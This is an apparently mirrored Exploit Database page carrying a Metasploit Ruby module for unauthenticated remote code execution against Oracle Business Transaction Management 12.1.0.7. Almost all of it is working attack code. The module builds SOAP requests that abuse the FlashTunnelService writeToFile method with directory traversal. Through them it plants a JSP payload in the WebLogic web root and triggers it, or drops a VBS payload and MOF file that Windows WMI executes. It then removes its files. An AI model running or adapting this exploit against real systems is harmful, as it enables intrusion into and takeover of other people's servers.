Oracle Business Transaction Management FlashTunnelService – Remote Code Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-10-10
• 类别：

  • remote
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/21846/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::EXE
  	include Msf::Exploit::WbemExec
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Oracle Business Transaction Management FlashTunnelService Remote Code Execution',
  			'Description'=> %q{
  					This module exploits abuses the FlashTunnelService SOAP web service on Oracle
  				Business Transaction Management 12.1.0.7 to upload arbitrary files, without
  				authentication, using the WriteToFile method. The same method contains a directory
  				traversal vulnerability, which allows to upload the files to arbitrary locations.
  
  				In order to execute remote code two techniques are provided. If the Oracle app has
  				been deployed in the same WebLogic Samples Domain a JSP can be uploaded to the web
  				root. If a new Domain has been used to deploy the Oracle application, the Windows
  				Management Instrumentation service can be used to execute arbitrary code.
  
  				Both techniques has been successfully tested on default installs of Oracle BTM
  				12.1.0.7, Weblogic 12.1.1 and Windows 2003 SP2. Default path traversal depths are
  				provided, but the user can configure the traversal depth using the DEPTH option.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'rgod <rgod[at]autistici.org>', # Vulnerability Discovery and PoC
  					'sinn3r', # Metasploit module
  					'juan vazquez' # Metasploit module
  				],
  			'References' =>
  				[
  					[ 'OSVDB', '85087' ],
  					[ 'BID', '54839' ],
  					[ 'EDB', '20318' ]
  				],
  			'DefaultOptions'=>
  				{
  					'WfsDelay' => 5
  				},
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Space' => 2048,
  					'StackAdjustment' => -3500
  				},
  			'Platform' => [ 'java', 'win' ],
  			'Targets'=>
  				[
  					[ 'Oracle BTM 12.1.0.7 / Weblogic 12.1.1 with Samples Domain / Java',
  						{
  							'Arch' => ARCH_JAVA,
  							'Depth' => 10
  						},
  					],
  					[ 'Oracle BTM 12.1.0.7 / Windows 2003 SP2 through WMI',
  						{
  							'Arch' => ARCH_X86,
  							'Platform' => 'win',
  							'Depth' => 13
  						}
  					]
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Aug 07 2012'))
  
  		register_options(
  			[
  				Opt::RPORT(7001),
  				OptInt.new('DEPTH', [false, 'Traversal depth'])
  			], self.class)
  	end
  
  	def on_new_session(client)
  
  		return if not @var_mof_name
  		return if not @var_vbs_name
  
  		if client.type != "meterpreter"
  			print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
  			print_error("The vbs payload (C:\\windows\\system32\\#{@var_vbs_name}.vbs) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof) must be removed manually.")
  			return
  		end
  
  		# stdapi must be loaded before we can use fs.file
  		client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
  
  		cmd = "C:\\windows\\system32\\attrib.exe -r " +
  					"C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
  
  		client.sys.process.execute(cmd, nil, {'Hidden' => true })
  
  		begin
  			print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
  			client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
  			print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
  			client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
  		rescue ::Exception => e
  			print_error("Exception: #{e.inspect}")
  		end
  
  	end
  
  	def exploit
  
  		peer = "#{rhost}:#{rport}"
  
  		if target.name =~ /WMI/
  
  			# In order to save binary data to the file system the payload is written to a .vbs
  			# file and execute it from there.
  			@var_mof_name = rand_text_alpha(rand(5)+5)
  			@var_vbs_name = rand_text_alpha(rand(5)+5)
  
  			print_status("Encoding payload into vbs...")
  			my_payload = generate_payload_exe
  			vbs_content = Msf::Util::EXE.to_exe_vbs(my_payload)
  
  			print_status("Generating mof file...")
  			mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")
  
  			if not datastore['DEPTH'] or datastore['DEPTH'] == 0
  				traversal = "..\\" * target['Depth']
  			else
  				traversal = "..\\" * datastore['DEPTH']
  			end
  			traversal << "WINDOWS\\system32\\#{@var_vbs_name}.vbs"
  
  			print_status("#{peer} - Uploading the VBS payload")
  
  			soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
  			soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
  			soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
  			soap_request << "	<soapenv:Header/>"
  			soap_request << "	<soapenv:Body>"
  			soap_request << "		<int:writeToFileRequest>"
  			soap_request << "			<int:writeToFile handle=\"#{traversal}\">"
  			soap_request << "				<typ:text>#{Rex::Text.html_encode(vbs_content)}</typ:text>"
  			soap_request << "				<typ:WriteToFileRequestVersion>"
  			soap_request << "				</typ:WriteToFileRequestVersion>"
  			soap_request << "			</int:writeToFile>"
  			soap_request << "		</int:writeToFileRequest>"
  			soap_request << "	</soapenv:Body>"
  			soap_request << "</soapenv:Envelope>"
  
  			res = send_request_cgi(
  				{
  					'uri'=> '/btmui/soa/flash_svc/',
  					'version'=> '1.1',
  					'method' => 'POST',
  					'ctype'=> "text/xml;charset=UTF-8",
  					'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
  					'data' => soap_request,
  				}, 5)
  
  			if res and res.code == 200 and res.body =~ /writeToFileResponse/
  				print_status("#{peer} - VBS payload successfully uploaded")
  			else
  				print_error("#{peer} - Failed to upload the VBS payload")
  				return
  			end
  
  			if not datastore['DEPTH'] or datastore['DEPTH'] == 0
  				traversal = "..\\" * target['Depth']
  			else
  				traversal = "..\\" * datastore['DEPTH']
  			end
  			traversal << "WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof"
  
  			soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
  			soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
  			soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
  			soap_request << "	<soapenv:Header/>"
  			soap_request << "	<soapenv:Body>"
  			soap_request << "		<int:writeToFileRequest>"
  			soap_request << "			<int:writeToFile handle=\"#{traversal}\">"
  			soap_request << "				<typ:text>#{Rex::Text.html_encode(mof_content)}</typ:text>"
  			soap_request << "				<typ:WriteToFileRequestVersion>"
  			soap_request << "				</typ:WriteToFileRequestVersion>"
  			soap_request << "			</int:writeToFile>"
  			soap_request << "		</int:writeToFileRequest>"
  			soap_request << "	</soapenv:Body>"
  			soap_request << "</soapenv:Envelope>"
  
  			print_status("#{peer} - Uploading the MOF file")
  
  			res = send_request_cgi(
  				{
  					'uri'=> '/btmui/soa/flash_svc/',
  					'version'=> '1.1',
  					'method' => 'POST',
  					'ctype'=> "text/xml;charset=UTF-8",
  					'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
  					'data' => soap_request,
  				}, 5)
  
  			if res and res.code == 200 and res.body =~ /writeToFileResponse/
  				print_status("#{peer} - MOF file successfully uploaded")
  			else
  				print_error("#{peer} - Failed to upload the MOF file")
  				return
  			end
  
  		elsif target['Arch'] == ARCH_JAVA
  
  			@jsp_name = rand_text_alpha(rand(5)+5)
  
  			if not datastore['DEPTH'] or datastore['DEPTH'] == 0
  				traversal = "..\\" * target['Depth']
  			else
  				traversal = "..\\" * datastore['DEPTH']
  			end
  			traversal << "\\server\\examples\\build\\mainWebApp\\#{@jsp_name}.jsp"
  
  			print_status("#{peer} - Uploading the JSP payload")
  
  			soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
  			soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
  			soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
  			soap_request << "	<soapenv:Header/>"
  			soap_request << "	<soapenv:Body>"
  			soap_request << "		<int:writeToFileRequest>"
  			soap_request << "			<int:writeToFile handle=\"#{traversal}\">"
  			soap_request << "				<typ:text>#{Rex::Text.html_encode(payload.encoded)}</typ:text>"
  			soap_request << "				<typ:WriteToFileRequestVersion>"
  			soap_request << "				</typ:WriteToFileRequestVersion>"
  			soap_request << "			</int:writeToFile>"
  			soap_request << "		</int:writeToFileRequest>"
  			soap_request << "	</soapenv:Body>"
  			soap_request << "</soapenv:Envelope>"
  
  			res = send_request_cgi(
  				{
  					'uri'=> '/btmui/soa/flash_svc/',
  					'version'=> '1.1',
  					'method' => 'POST',
  					'ctype'=> "text/xml;charset=UTF-8",
  					'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
  					'data' => soap_request,
  				}, 5)
  
  			if res and res.code == 200 and res.body =~ /writeToFileResponse/
  				print_status("#{peer} - JSP payload successfully uploaded")
  			else
  				print_error("#{peer} - Failed to upload the JSP payload")
  				return
  			end
  
  			print_status("#{peer} - Executing the uploaded JSP #{@jsp_name}.jsp ...")
  			res = send_request_cgi(
  				{
  					'uri'=> "/#{@jsp_name}.jsp",
  					'version'=> '1.1',
  					'method' => 'GET',
  				}, 5)
  
  		end
  
  	end
  
  end